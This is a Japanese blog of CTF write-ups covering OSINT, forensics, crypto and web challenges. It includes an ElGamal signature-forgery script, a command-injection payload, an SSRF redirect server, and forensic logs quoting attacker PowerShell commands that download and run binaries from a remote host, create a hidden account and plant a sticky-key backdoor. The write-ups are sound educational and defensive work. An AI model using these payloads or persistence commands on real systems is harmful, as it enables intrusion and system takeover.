はまやんはまやんはまやん

hamayanhamayan's blog

DIVER OSINT CTF 2025 Writeups

面白かったです!

[introduction] bx

この写真で見える "BX" という看板の座標を答えなさい。

AIに特徴的な文字列を抜き出させてみるがBX、文化シャッター以外なかった。人力で確認すると「カトリック上野教会」というのが見て取れる。AIにカトリックほにゃららが無いか聞くと「カトリック○○教会」ですねと言われる。拡大画像を送り付けると「カトリック上野教会」ですねと正しく答えてくれた。理解できる解像度の限界があるのかもしれない。

ということで、この辺が正解。(揺らぎを吸収する回答方式で感動)

https://www.google.co.jp/maps/place/%E3%82%AB%E3%83%88%E3%83%AA%E3%83%83%E3%82%AF%E4%B8%8A%E9%87%8E%E6%95%99%E4%BC%9A/@35.7165836,139.7786687,16.42z/data=!4m6!3m5!1s0x60188e9adeeda60f:0x656ba98fd86a0141!8m2!3d35.7183294!4d139.7809779!16s%2Fg%2F11t3zk20yz?hl=ja&entry=ttu&g_ep=EgoyMDI1MDYwNC4wIKXMDSoASAFQAw%3D%3D

[introduction] document

アメリカ海軍横須賀基地司令部(CFAY)は、米軍の関係者向けに羽田空港・成田空港と基地の間でシャトルバスを運行している。2023年に乗り場案内の書類を作成した人物の名前を答えよ。

AIに聞くと、以下のURLを提示してくれた。

https://cnrj.cnic.navy.mil/Portals/80/CFA_Yokosuka/Documents/Airport%20Shuttle/2023%2008%2014%20CFAY%20Airport%20Bus%20Schedule.pdf?ver=-K3r8A3eonOJl48Tkf9SnA%3D%3D

かなりこれっぽい。タイトルを見ると、8.3形式ファイル名になっているのでメタデータに情報が残っているかも。ダウンロードしてexiftoolにかけると答えが出てきた。

$ exiftool 10 2023\ 08\ 14\ CFAY\ Airport\ Bus\ Schedule.pdf | grep Author
Error: File not found - 10
Author                          : Mitchell.Donovan

[introduction] finding_my_way

34.735639, 138.994950 にある 建造物 の、OpenStreetMapにおけるWay(ウェイ)番号を答えよ。
「建造物」は「地物」の一種である / a "building" is categorized into "features"

OpenStreetMapで34.735639, 138.994950を探し、右クリックから「地物を検索」すると出てきた。

https://www.openstreetmap.org/way/568613762

[introduction] flight_from

このヘリコプターが出発した飛行場のICAOコード(4レターコード)で答えよ。
データを入念に確認してください。あなたのOSINT能力を期待しています。 / Confirm the data carefully. We expect your OSINT ability.

とりあえず、AIに突っ込んで出てきた結果Diver25{RJTI}は間違い。写真を見ると立川から飛んでいるみたいなので、「間違いみたいです。写真の方を見ると立川あたりから飛んでいませんか?」と聞くと、正しい答えを渡してきた。Diver25{RJTC}

[introduction] hidden_service

添付ファイルを確認して、Flagを獲得してください!

Torのアドレスが書いてある紙が与えられるので、適当につなげるとフラグがもらえる。

[introduction] night_accident

この動画で、車とバスが衝突しそうになった場所はどこか。
衝突には至らないものの、交通事故のようなシーンがあります

AIに映像の断片的なスクショとGeminiに解析させたYouTubeの情報、そして、目視で確認したバスの52と58の情報から探させた。バス停のかぶっている所を聞くと、

  • Bishan Bus Interchange (Bishan Int) - 両路線の主要ターミナル
  • Blk 115 - ビシャン地区
  • Opp Bishan Stn (ビシャン駅前) - MRT駅近く

を教えてくれたので、人力で確認していくとBlk 115が正解。道路脇のシマシマとか、黄色いバッテンとか、建物の感じから断定した。

https://www.google.co.jp/maps/place/Blk+115/@1.3482179,103.8485893,3a,75y,272.34h,75.23t/data=!3m7!1e1!3m5!1sWsfZog9V7Gx_ncA53CFqxA!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D14.77408219111436%26panoid%3DWsfZog9V7Gx_ncA53CFqxA%26yaw%3D272.34232678496426!7i16384!8i8192!4m15!1m8!3m7!1s0x31da176ad41fce75:0xf623944cd17fa293!2sBishan+Rd,+Bishan+Harmony+Park,+Singapore+579778!3b1!8m2!3d1.3449707!4d103.8473498!16s%2Fg%2F11bvtltnv3!3m5!1s0x31da17145aabe0fd:0x8c938c2cbfc2fc82!8m2!3d1.3481557!4d103.8485168!16s%2Fg%2F1tdk_217?hl=ja&entry=ttu&g_ep=EgoyMDI1MDYwNC4wIKXMDSoASAFQAw%3D%3D

[introduction] ship

これは、ある組織が運用する船舶である。もし将来、この船が外国に売却されたとしても、変わらない番号を答えよ。
船名には記号を含まない。 / The ship name doesn't contain symbols.

「もし将来、この船が外国に売却されたとしても、変わらない番号を答えよ。」とあるが、IMO番号のことらしい。 AIに解かせている間に自力で解けた。

東京海洋大学から、 https://www.s.kaiyodai.ac.jp/special-contents/ship.html にたどり着けば、神鷹丸であることが分かる。 あとは、WikipediaからIMO番号を持ってきて、Diver25{神鷹丸_9767675}

Grey Cat The Flag 2025 Writeups

[Forensics] Layer Cake

Layer cake is so good. I have an mp3 file all about layer cake. Maybe you can find the flag there?

layer cake.mp3というファイルが与えられる。まず、配布されたファイルの形式を確認してみる。

$ file layer\ cake.mp3
layer cake.mp3: MPEG ADTS, layer III, v1, 192 kbps, 44.1 kHz, JntStereo

一見するとMP3ファイルのように見えますが、hexdumpで内容を確認してみると

$ hd layer\ cake.mp3 | head -n 20
00000000  ff fb 68 30 14 00 00 00  00 00 e1 91 be 5a 00 00  |..h0.........Z..|
00000010  00 00 00 00 00 00 00 00  00 00 07 00 20 00 6c 61  |............ .la|
00000020  79 65 72 73 2f 75 78 0b  00 01 04 00 00 00 00 04  |yers/ux.........|
00000030  00 00 00 00 55 54 0d 00  07 26 85 39 68 a3 86 39  |....UT...&.9h..9|
00000040  68 26 85 39 68 50 4b 03  04 14 00 00 00 00 00 e1  |h&.9hPK.........|
00000050  91 be 5a 00 00 00 00 00  00 00 00 00 00 00 00 10  |..Z.............|
00000060  00 20 00 6c 61 79 65 72  73 2f 64 6f 63 50 72 6f  |. .layers/docPro|
00000070  70 73 2f 75 78 0b 00 01  04 00 00 00 00 04 00 00  |ps/ux...........|

PKというマジックバイトやlayers/というディレクトリ名が見えることから、これはZIPファイルっぽい。ファイルをunzipしてみると色々解凍できて、Microsoft Word文書(.docx)っぽいものが出てくる。適当にgrepするとword/styles.xml内でフラグを発見した。

<w:style w:type="paragraph" w:styleId="Heading5"><!-- grey{s0_f3w_lay3r5_w00p5} --><w:name w:val="heading 5"/>

[Forensics] Connection Issues

One of our employees was browsing the web when he suddenly lost connection! Can you help him figure out why?

chall.pcapが与えられる。ネットワークが使えないというのがヒントっぽい。適当に目grepすると以下のようなのが見つかる。

#1409: 192.168.100.1 is at bc:24:11:74:12:33 (duplicate use of 192.168.100.1 detected!)
#1575: 192.168.100.1 is at bc:24:11:74:12:33 (duplicate use of 192.168.100.1 detected!)

ARP Spoofingか。これは通信ができなくなったというのも分かる。ということはARPに着目すればよさそうなので、ARPを適当に確認していくと、ARPパケットに異常な追加データが埋め込まれているのが見える。tsharkでダンプしてみる。

tshark -r chall.pcap -Y "arp and frame.len > 42" -x

なんか末尾にbase64エンコードされた文字列っぽいのが見える。適当に集める。

01: Z3JleXtk → grey{d
02: MWRfMV9q → 1d_1_j
03: dXM3X2dl → us7_ge
04: N19wMDFz → 7_p01s
05: b24zZH0= → on3d}

これを結合するとフラグになる。

[Crypto] Uwusignatures

As an uwu girl, I decided to make this digital signature scheme to share my signatures with everyone!
I'll only show you half of my signature though, because I'm shy...
Surely, no one would steal from a cutie like myself... right?

ソースコードは以下。

from Crypto.Util.number import *
import json
import hashlib

KEY_LENGTH = 2048
FLAG = "grey{fakeflagfornow}"

class Uwu:
    def __init__(self, keylen):
        self.p = getPrime(keylen)
        self.g = getRandomRange(1, self.p)
        self.x = getRandomRange(2, self.p) # x is private key
        self.y = pow(self.g, self.x, self.p) # y is public key
        self.k = getRandomRange(1, self.p)
        while GCD(self.k, self.p - 1) != 1:
            self.k = getRandomRange(1, self.p)
        print(f"{self.p :} {self.g :} {self.y :}")
        print(f"k: {self.k}")
    def hash_m(self, m):
        sha = hashlib.sha256()
        sha.update(long_to_bytes(m))
        return bytes_to_long(sha.digest())
    def sign(self, m):
        assert m > 0
        assert m < self.p
        h = self.hash_m(m)
        r = pow(self.g, self.k, self.p)
        s = ((h - self.x * r) * pow(self.k, -1, self.p - 1)) % (self.p - 1) 
        return (r, s)
    def verify(self, m, signature):
        r, s = signature
        assert r >= 1
        assert r < self.p
        h = self.hash_m(m)
        lhs = pow(self.g, h, self.p)
        rhs = (pow(self.y, r, self.p) * pow(r, s, self.p)) % self.p
        return lhs == rhs 

def main():
    print("Welcome to my super uwu secure digital signature scheme!")
    uwu = Uwu(KEY_LENGTH)
    sign_count = 0   
    while True:
        print("1. Show me some of your cutesy patootie signatures!")
        print("2. Get some of my uwu signatures (max 2)")
        choice = int(input("> "))
        if choice == 1:
            data = json.loads(input("Send me a message and a signature: "))
            m, r, s = data["m"], data["r"], data["s"]
            if m == bytes_to_long(b"gib flag pls uwu"):
                if uwu.verify(m, (r, s)):
                    print("Very cutesy, very mindful, very demure!")
                    print(FLAG)
                    exit()
                else:
                    print("Very cutesy, but not very mindful")
                    exit()
            else:
                print("Not very cutesy")
                exit()
        elif choice == 2:
            if sign_count >= 2:
                print("Y-Y-You'd steal from poor me? U_U")
                exit()
            data = json.loads(input("Send me a message: "))
            m = data["m"]
            if type(m) is not int or m == bytes_to_long(b"gib flag pls uwu"):
                print("Y-Y-You'd trick poor me? U_U")
                exit()
            r, s = uwu.sign(m)
            print(f"Here's your uwu signature! {s :}")
            sign_count += 1
        else:
            print("Not very smart of you OmO")
            exit()

if __name__ == "__main__":
    main()

ElGamal 署名が実装されている。コードを詳しく見ると、脆弱性が2つある。

  1. ノンス再利用: k がコンストラクタで一度だけ生成され、全ての署名で同じ値が使われる
  2. デバッグ情報漏洩: k の値がコンソールに出力される

ノンスが再利用されているので、そこからkを求めることができるのだが、kは与えられているのでそれを使うことにしよう。

  1. 1つの署名を取得
  2. k は既に分かっているので直接 r = g^k mod p を計算
  3. 署名方程式から x*r を逆算
  4. 目標メッセージの署名を偽造

という流れでいい。以下のようなコードでフラグが得られる。

from Crypto.Util.number import *
import hashlib
import json
from pwn import *

def hash_m(m):
    sha = hashlib.sha256()
    sha.update(long_to_bytes(m))
    return bytes_to_long(sha.digest())

r = remote("challs2.nusgreyhats.org", 33301)

r.recvline()  # Welcome message
    
pub_line = r.recvline().decode().strip()
p, g, y = map(int, pub_line.split())

k_line = r.recvline().decode().strip()
k = int(k_line.split(":")[1].strip())

r.sendlineafter(b"> ", b"2")  # 署名取得
m1 = 1337
r.recvuntil(b": ")
r.sendline(json.dumps({"m": m1}).encode())
    
sig1_line = r.recvline().decode()
s1 = int(sig1_line.split("!")[-1].strip())

h1 = hash_m(m1)
k_inv = pow(k, -1, p - 1)

r_calced = pow(g, k, p)
target_msg = bytes_to_long(b"gib flag pls uwu")
target_hash = hash_m(target_msg)
x_r = (h1 - (s1 * k) % (p - 1)) % (p - 1)
target_s = ((target_hash - x_r) * k_inv) % (p - 1)

r.sendlineafter(b"> ", b"1")  # 署名検証
forge_data = {"m": target_msg, "r": r_calced, "s": target_s}
r.sendlineafter(b": ", json.dumps(forge_data).encode())
r.interactive()

TSG LIVE! 14 CTF Writeup

[web] perling_perler

perl

perlで出来たサイトが与えられる。環境変数にフラグが置いてある。ソースコードの重要な部分は以下。

post '/echo' => sub {
    my $str = body_parameters->get('str');
    unless (defined $str) {
        return "No input provided";
    }

    if ($str =~ /[&;<>|\(\)\$\ ]/) {
        return "<h2>echo:</h2><pre>Invalid Input</pre><a href='/'>Back</a>";
    };

    my $output = `echo $str`;

    return "<h2>echo:</h2><pre>$output</pre><a href='/'>Back</a>";
};

ユーザー入力の$strを見ると、&;<>|()$が使えないように検証していて、`echo $str`のようにコマンド呼び出しに使われている。コマンドインジェクション出来そうなので、適当に使える文字から`env`とするとフラグが得られた。

[web] Shortnm

URL短縮サービスを作りました。

First Blood。サーバーは2つ用意されていて、片方が外部に公開されているアプリサーバーで、もう1つは内部からのみアクセスできるフラグサーバー。

フラグサーバーは以下のような実装。

from fastapi import FastAPI, Request
from fastapi.responses import PlainTextResponse

app = FastAPI()

@app.get("/flag")
async def get_flag(request: Request):
    host = request.headers.get("host", "")
    if host == "flag:45654" and request.url.port == 45654:
        return PlainTextResponse("TSGLIVE{REDACTED}")
    return PlainTextResponse("Access denied", status_code=403)

よって、http://flag:45654/flagを呼び出せればフラグが返ってくる。つまり、アプリサーバー側でSSRFしてその内容が取得できる必要がある。その情報を元にアプリサーバーを読むと、以下の点が怪しい。

@app.get("/shortenm")
async def shortenm(url: str = Query(...)):
    short_id = generate_id() 
    url = 'http://localhost:8000/shortem?format=json&url='+url
    async with httpx.AsyncClient(follow_redirects=True) as client:
        response = await client.get(url)
    url = response.json()["shorturl"]
    r.set(short_id, url)
    
    short_id = generate_id() 
    async with httpx.AsyncClient(follow_redirects=True) as client:
        response = await client.get(url)    
    return Response(content=response.content,status_code=response.status_code,media_type=response.headers.get("content-type"))

リダイレクトが許可された状態で取得して、その中身を出力している。早解きを優先して、ちゃんと確認していないが、直接は呼べないだろうということで、リダイレクトを経由して呼ばせることにする。以下のようなリダイレクトサーバーを用意し、ngrokで公開し、そのURLをGET /shortenm経由で読ませるとフラグが得られる。

// 適当な場所で`npm i express`して`node redirector.js`で起動、`/opt/ngrok http 3000`でngrok用意。
const express = require('express')
const app = express()
const port = 3000

app.get('/', (req, res) => {
  res.redirect('http://flag:45654/flag');
})

app.listen(port, () => {
  console.log(`Example app listening on port ${port}`)
})

[web] iwi_deco_demo 解けず

JavaのWebアプリはSpring Bootで書くといいらしいです。

SSTIできる箇所が一生見つからず終わり。@{'/user/__${userId}__/settings'}"@{/user/{id}/settings(id=${userId})}で書き方が違うねということは気づいていたのに、なぜそのヒントを大事にできないのか…

[crypto] Unnecessary Thing

暗号文一個じゃ足りない? しょうがないやつだねえ。ほら、おまけだよ。

ソースコードは以下。

from Crypto.Util.number import getStrongPrime, bytes_to_long
from flag import flag

p = getStrongPrime(512)
q = getStrongPrime(512)
n = p * q
e = 65537

m = bytes_to_long(flag.encode())
assert m < n

c = pow(m, e, n)
cp = pow(m+p, e, n)

print(f"{n=}")
print(f"{e=}")
print(f"{c=}")
print(f"{cp=}")

Franklin-Reiter Related Message Attackっぽい見た目はしているが、m+pのpは不明なので使えない。cpの方の式を展開してみよう。

 \displaystyle
(m+p)^e \equiv m^e + em^{e-1}p + \binom{e}{2}m^{e-2}p^2 + \binom{e}{3}m^{e-3}p^3 + \cdots + \binom{e}{e-3}m^3p^{e-3} + \binom{e}{e-2}m^2p^{e-2} + emp^{e-1} + p^e \pmod{n}

このとき、[tex:me]は既にcとして与えられているので、以下のように引き算することができる。

 \displaystyle
cp - c \equiv em^{e-1}p + \binom{e}{2}m^{e-2}p^2 + \binom{e}{3}m^{e-3}p^3 + \cdots + \binom{e}{e-3}m^3p^{e-3} + \binom{e}{e-2}m^2p^{e-2} + emp^{e-1} + p^e \pmod{n}

この式の右辺を見ると全てpがかけられているのでcp - cはpの倍数になることが分かる。よって、同様にpの倍数であるnとGCDを取ればpが得られ、nの素因数分解が可能になる。これを実装したのが以下で、動かすとフラグが得られる。

n=113848976691816529412353288353434516248350236084108173798388011730446575498532101181970551229558448491554146100916598598644399716705779759442896244491893934229652371305593092501397461502082542035705864163680009579469363009905785985948594381841301875025743266193800883094355897094329679006391279259361822592657
e=65537
c=67103957270339774904434611308874035749190329450026295613000691170744770398567886634249043441310331743711734092811565436083308201670878005561003470320594090769059799477585765946327866854618977848424687962738057700719728924175419028663672597517615947126157927551559168806869664050731818316337809475028581279782
cp=15293102229247166750976885518461073034520636256742291030355629534093544514258485910897757060045476109646628488748823652005699136184981891883794284690508038803210397343926433011430811798482179001774429749116676973109542250269097851762953181363091270104660431148714880402228633721625810275047682873920643079112

p = gcd(cp - c, n)
q = n // p

from Crypto.Util.number import long_to_bytes
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
print(long_to_bytes(pow(c, d, n)))

BYUCTF 2025 Writeups

[Forensics] Wimdowsシリーズ

Earlier this week, an attacker managed to get into one of our Windows servers... can you help us figure out what happened? The VM files for this challenge are located below (the credentials are vagrant/vagrant):

Windows Serverのovaファイルが与えられるので解析して、小問題に答える。1~5に分かれているのだが、分かる問題から解いていこう(時間とかが得られると他の問題も解きやすくなるので)

Wimdows 3

The attacker also created a new account- what group did they add this account to? Wrap your answer in byuctf{}. E.g. byuctf{CTF Players}.
攻撃者は新しいアカウントも作成しました。彼らはこのアカウントをどのグループに追加しましたか?回答をbyuctf{}で囲んでください。例:byuctf{CTF Players}。
Reminder - all answers are case-INsensitive for all of these problems

イベントログを解析すればわかりますね。ovaファイルを7zipで解凍して出てきたvmdkファイルをAutopsyに突っ込んで中身を確認する。

/img_byuctf-wimdows-disk001.vmdk/vol_vol2/Windows/System32/winevt/Logs を全部持ってきて、Hayabusaにとりあえずかけてみよう。

Dates with most total detections:
emergency: n/a, critical: 2025-05-16 (2), high: 2025-05-16 (23), medium: n/a, low: n/a, informational: n/a

Top 5 computers with most unique detections:
emergency: n/a
critical: vagrant-2008R2 (2)
high: vagrant-2008R2 (15)
medium: n/a
low: n/a
informational: n/a

╭─────────────────────────────────────────────────────────────────────────────────────────────────────╮
│ Top emergency alerts:                              Top critical alerts:                             │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ n/a                                                Sticky Key Like Backdoor Usage - Registry (1)    │
│ n/a                                                HackTool - Sliver C2 Implant Activity Pat... (1) │
│ n/a                                                n/a                                              │
│ n/a                                                n/a                                              │
│ n/a                                                n/a                                              │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ Top high alerts:                                   Top medium alerts:                               │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ Powershell Token Obfuscation - Powershell (6)      n/a                                              │
│ Suspicious Service Path (4)                        n/a                                              │
│ Windows Shell/Scripting Processes Spawnin... (3)   n/a                                              │
│ User Added To Local Admin Grp (2)                  n/a                                              │
│ Suspicious SYSTEM User Process Creation (2)        n/a                                              │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ Top low alerts:                                    Top informational alerts:                        │
├╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌╌┤
│ n/a                                                n/a                                              │
│ n/a                                                n/a                                              │
│ n/a                                                n/a                                              │
│ n/a                                                n/a                                              │
│ n/a                                                n/a                                              │
╰──────────────────────────────────────────────────╌──────────────────────────────────────────────────╯

すごいね。眺めるとユーザー操作関連の記録も残っていた。

Timestamp    Rule Title  Level   Computer    Channel Event ID    Record ID   Details Extra Field Info
2025-05-16 11:08:48.871 +09:00  User Added to Remote Desktop Users Group    high    vagrant-2008R2  Sysmon  1   54  Cmdline: "C:\Windows\system32\net.exe" localgroup "Remote Desktop Users" phasma /add ¦ Proc: C:\Windows\System32\net.exe ¦ User: NT AUTHORITY\SYSTEM ¦ ParentCmdline: powershell -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand bgBlAHQAIABsAG8AYwBhAGwAZwByAG8AdQBwACAAIgBSAGUAbQBvAHQAZQAgAEQAZQBzAGsAdABvAHAAIABVAHMAZQByAHMAIgAgAHAAaABhAHMAbQBhACAALwBhAGQAZAA= ¦ LID: 0x3e7 ¦ LGUID: 0557F2DF-0000-0000-E703-000000000000 ¦ PID: 6000 ¦ PGUID: 0557F2DF-0000-0000-0C5C-0D0000000000 ¦ ParentPID: 5136 ¦ ParentPGUID: 0557F2DF-0000-0000-DA51-0D0000000000 ¦ Description: Net Command ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=63DD6FBAABF881385899FD39DF13DCE3,SHA256=3B9AD8E2C1D03FF941A7C9192A605F31671B107DEF6FF503A71A0FB2C5BBD659,IMPHASH=96B4B43C2313DC3C3237F7C32A9F8812  CurrentDirectory: C:\Program Files\elasticsearch-1.1.1\ ¦ FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255) ¦ IntegrityLevel: System ¦ OriginalFileName: net.exe ¦ ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ RuleName: - ¦ TerminalSessionId: 0 ¦ UtcTime: 2025-05-16 02:08:48.856
2025-05-16 11:08:48.871 +09:00  User Added to Remote Desktop Users Group    high    vagrant-2008R2  Sysmon  1   55  Cmdline: C:\Windows\system32\net1 localgroup "Remote Desktop Users" phasma /add ¦ Proc: C:\Windows\System32\net1.exe ¦ User: NT AUTHORITY\SYSTEM ¦ ParentCmdline: "C:\Windows\system32\net.exe" localgroup "Remote Desktop Users" phasma /add ¦ LID: 0x3e7 ¦ LGUID: 0557F2DF-0000-0000-E703-000000000000 ¦ PID: 5888 ¦ PGUID: 0557F2DF-0000-0000-8F5C-0D0000000000 ¦ ParentPID: 6000 ¦ ParentPGUID: 0557F2DF-0000-0000-0C5C-0D0000000000 ¦ Description: Net Command ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=3B6928BC39E5530CEAD1E99269E7B1EE,SHA256=0F084CCC40CBF7C3C7472DDAD609B5FD31AACAFA44E23F9EC7E9E2184713B986,IMPHASH=72AA515B1963995C201E36DE48594F61 CurrentDirectory: C:\Program Files\elasticsearch-1.1.1\ ¦ FileVersion: 6.1.7601.17514 (win7sp1_rtm.101119-1850) ¦ IntegrityLevel: System ¦ OriginalFileName: net1.exe ¦ ParentImage: C:\Windows\System32\net.exe ¦ RuleName: - ¦ TerminalSessionId: 0 ¦ UtcTime: 2025-05-16 02:08:48.871

何回も言っているが、ほんとにすごいなHayabusa。

"C:\Windows\system32\net.exe" localgroup "Remote Desktop Users" phasma /add

の実行形跡がありますね。よってbyuctf{Remote Desktop Users}

Wimdows 5

Last but not least, the attacker put another backdoor in the machine to give themself SYSTEM privileges... what was it? (your answer will be found directly in byuctf{} format)
最後になりますが、攻撃者は自身にSYSTEM権限を与えるための別のバックドアをマシンに仕掛けました。それは何でしたか?(あなたの答えはbyuctf{}形式で直接見つかるはずです)

hayabusaの結果を見ていくと、以下のような検出事項もある。

Timestamp    Rule Title  Level   Computer    Channel Event ID    Record ID   Details
2025-05-16 11:10:42.794 +09:00  Sticky Key Like Backdoor Usage - Registry   crit    vagrant-2008R2  Sysmon  13  88  EventType: SetValue ¦ RegKey: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger ¦ Details: C:\windows\system32\cmd.exe #byuctf{00p5_4ll_b4ckd00r5_139874} ¦ Proc: C:\Windows\system32\reg.exe ¦ PID: 4460 ¦ PGUID: 0557F2DF-0000-0000-7BEA-0D0000000000 ¦ User: NT AUTHORITY\SYSTEM

ここにあるフラグを答えると正答。某Offensive資格のコースでも紹介されてた気がするバックドア。 問題文によるとこれは攻撃者の最後の行動らしい。2025-05-16T11:10:42+0900以前でログ等は見ればよさそう。

Wimdows 2

Once they got in, the attacker ran some commands on the machine, but it looks like they tried to hide what they were doing. See if you can find anything interesting there (your answer will be found already in byuctf{} format).
侵入後、攻撃者はマシン上でいくつかのコマンドを実行しましたが、彼らは自分たちの行動を隠そうとしたようです。そこに何か興味深いものがないか確認してください(あなたの答えはすでにbyuctf{}形式で見つかるはずです)。

行動を隠すと言えばログ削除とかだが… 問題文を見る感じPowerShellの実行ログを見ればいい?それ用のイベントログを見てもいいのだが、hayabusaで適当に-EncodedCommandでキーワード検索して、攻撃が実行されている時間近辺でのPowerShell呼び出しを漁ってみる。

2025-05-16 11:07:47.000 +09:00 | ls
2025-05-16 11:08:01.000 +09:00 | whoami /priv
2025-05-16 11:08:07.000 +09:00 | ls -l
2025-05-16 11:08:12.000 +09:00 | write-output 'byuctf{n0w_th4t5_s0m3_5u5_l00k1ng_p0w3rsh3ll_139123}'
2025-05-16 11:08:18.000 +09:00 | get-process
2025-05-16 11:08:22.000 +09:00 | get-service
2025-05-16 11:08:28.000 +09:00 | net user phasma f1rst0rd3r! /add
2025-05-16 11:08:36.000 +09:00 | New-Item -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" -Force | Out-Null
2025-05-16 11:08:43.000 +09:00 | New-ItemProperty -Path "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" -Name "phasma" -Value 0 -PropertyType DWord -Force
2025-05-16 11:08:48.000 +09:00 | net localgroup "Remote Desktop Users" phasma /add
2025-05-16 11:08:59.000 +09:00 | $ProgressPreference = 'SilentlyContinue' ; Invoke-WebRequest -Uri "http://192.168.1.107:8000/goose.zip" -OutFile C:\goose.zip ; icacls C:\goose.zip /grant 'Everyone:(OI)(CI)F' /T ; Expand-Archive -Path C:\goose.zip -DestinationPath C:\goose -Force ; schtasks /create /tn $(-join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})) /tr "C:\goose\goose\GooseDesktop.exe" /sc minute /mo 1 /st $(Get-Date).AddMinutes(1).ToString("HH:mm") /ru $(((quser | Select-Object -Skip 1 -First 1) -split "\s\s+")[0].TrimStart(' '))
2025-05-16 11:10:15.000 +09:00 | $BINARY='C:\Windows\System32\update.exe' ; $ProgressPreference = 'SilentlyContinue' ; Invoke-WebRequest -Uri "http://192.168.1.107:8000/update.exe" -OutFile $BINARY ; schtasks /create /tn "updates" /tr $BINARY /ru 'SYSTEM' /sc onstart /rl highest ; schtasks /run /tn "updates"

あった。これを答える。

Wimdows 4

Using their access, the attacker also deployed a C2 binary on the machine - what C2 framework was it, and what IP address was the C2 attempting to connect to?
攻撃者はそのアクセスを利用して、マシン上にC2バイナリも配置しました。それはどのC2フレームワークで、どのIPアドレスに接続しようとしていましたか?
Format your answer like so: byuctf{_}. E.g. byuctf{evilosx_10.1.1.1}

HayabusaによるとSliver C2が動いているらしい。

Timestamp    Rule Title  Level   Computer    Channel Event ID    Record ID   Details
2025-05-16 11:10:41.908 +09:00  HackTool - Sliver C2 Implant Activity Pattern   crit    vagrant-2008R2  Sysmon  1   85  Cmdline: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoExit -Command [Console]::OutputEncoding=[Text.UTF8Encoding]::UTF8 ¦ Proc: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe ¦ User: NT AUTHORITY\SYSTEM ¦ ParentCmdline: C:\Windows\System32\update.exe ¦ LID: 0x3e7 ¦ LGUID: 0557F2DF-0000-0000-E703-000000000000 ¦ PID: 860 ¦ PGUID: 0557F2DF-0000-0000-FDDF-0D0000000000 ¦ ParentPID: 1044 ¦ ParentPGUID: 0557F2DF-0000-0000-ECCF-0D0000000000 ¦ Description: Windows PowerShell ¦ Product: Microsoft® Windows® Operating System ¦ Company: Microsoft Corporation ¦ Hashes: MD5=A575A7610E5F003CC36DF39E07C4BA7D,SHA256=006CEF6EF6488721895D93E4CEF7FA0709C2692D74BDE1E22E2A8719B2A86218,IMPHASH=CAEE994F79D85E47C06E5FA9CDEAE453

先ほど解析した、PowerShellコマンドの解析を見ると

2025-05-16 11:08:59.000 +09:00 | $ProgressPreference = 'SilentlyContinue' ; Invoke-WebRequest -Uri "http://192.168.1.107:8000/goose.zip" -OutFile C:\goose.zip ; icacls C:\goose.zip /grant 'Everyone:(OI)(CI)F' /T ; Expand-Archive -Path C:\goose.zip -DestinationPath C:\goose -Force ; schtasks /create /tn $(-join ((65..90) + (97..122) | Get-Random -Count 8 | % {[char]$_})) /tr "C:\goose\goose\GooseDesktop.exe" /sc minute /mo 1 /st $(Get-Date).AddMinutes(1).ToString("HH:mm") /ru $(((quser | Select-Object -Skip 1 -First 1) -split "\s\s+")[0].TrimStart(' '))
2025-05-16 11:10:15.000 +09:00 | $BINARY='C:\Windows\System32\update.exe' ; $ProgressPreference = 'SilentlyContinue' ; Invoke-WebRequest -Uri "http://192.168.1.107:8000/update.exe" -OutFile $BINARY ; schtasks /create /tn "updates" /tr $BINARY /ru 'SYSTEM' /sc onstart /rl highest ; schtasks /run /tn "updates"

